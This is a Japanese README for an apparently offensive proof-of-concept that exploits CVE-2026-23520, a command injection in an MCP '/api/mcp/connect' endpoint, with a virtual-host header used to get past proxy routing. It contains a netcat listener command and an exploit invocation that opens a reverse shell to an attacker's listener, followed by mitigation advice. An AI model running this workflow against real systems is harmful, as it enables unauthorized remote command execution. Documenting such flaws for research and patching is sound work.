
🎓 CVE-2026-23520 の教育用 PoC。脆弱性分析と制御された緩和のためのラボ。 🧪
免責事項: このリポジトリおよび含まれるスクリプトは、教育および学術目的のみに厳密に使用されます。
ここで提供される情報は、セキュリティ研究者、システム管理者、学生が、管理された実験環境(Capture The Flagプラットフォームなど)におけるコマンドインジェクションの脆弱性と仮想ホストルーティングの仕組みを理解するのに役立つことを意図しています。
所有者から明示的な書面による許可を得ずに、このツールをいかなるシステム、ネットワーク、またはインフラストラクチャに対しても使用しないでください。 著者は、このソフトウェアによって引き起こされた誤用や損害について一切の責任を負いません。
このリポジトリは、特定のアプリケーションスタック(Arcane v1.13.0など)におけるModel Context Protocol (MCP)実装のコンテキスト内でCVE-2026-23520を悪用するための概念実証(PoC)を提供します。
この脆弱性は、典型的なコマンドインジェクションの欠陥です。APIエンドポイント(/api/mcp/connect)は、新しいサーバー接続を構成するためのJSONペイロードを受け入れます。ペイロードには、commandフィールドとargsフィールドを含むserverConfigオブジェクトが含まれます。
アプリケーションがこれらのフィールドをホストオペレーティングシステム上で実行する前に適切にサニタイズしないため、攻撃者は正当なサービスパスの代わりに悪意のあるbashコマンド(リバースシェルなど)を供給できます。
多くの実際の環境やCTF展開では、単にメインIPアドレスに対してエクスプロイトを送信すると、404 Not Foundエラーになります。これは、脆弱なコンポーネント(例:MCPJam Inspector)が、Hostヘッダーに基づいてトラフィックをルーティングするリバースプロキシ(Nginxなど)の背後にホストされているためです。
このPoCは、ユーザーが**仮想ホスト(vhost)**を明示的に指定してプロキシのルーティングルールをバイパスし、脆弱なアプリケーションに直接到達できるようにすることで、標準的なエクスプロイトとは異なります。
このスクリプトにはPython 3とrequestsライブラリが必要です。
pip install requests
python3 exploit_vhost.py <target_ip> <target_port> <virtual_host> <listener_ip> <listener_port>
nc -lvnp 4444
python3 exploit_vhost.py 10.129.x.x 443 mcp.target.local 10.10.x.x 4444
注: 「Read timed out」エラーは想定どおりであり、リバースシェルが正常に実行され、接続を開いたまま保持していることを示します。
管理者は、最新のパッチ適用済みバージョンのソフトウェアを実行していることを確認する必要があります。パッチ適用がすぐにできない場合は、/api/mcp/connectエンドポイントへのアクセスを制限し、すべてのserverConfigパラメータに厳格な入力検証が適用されるようにしてください。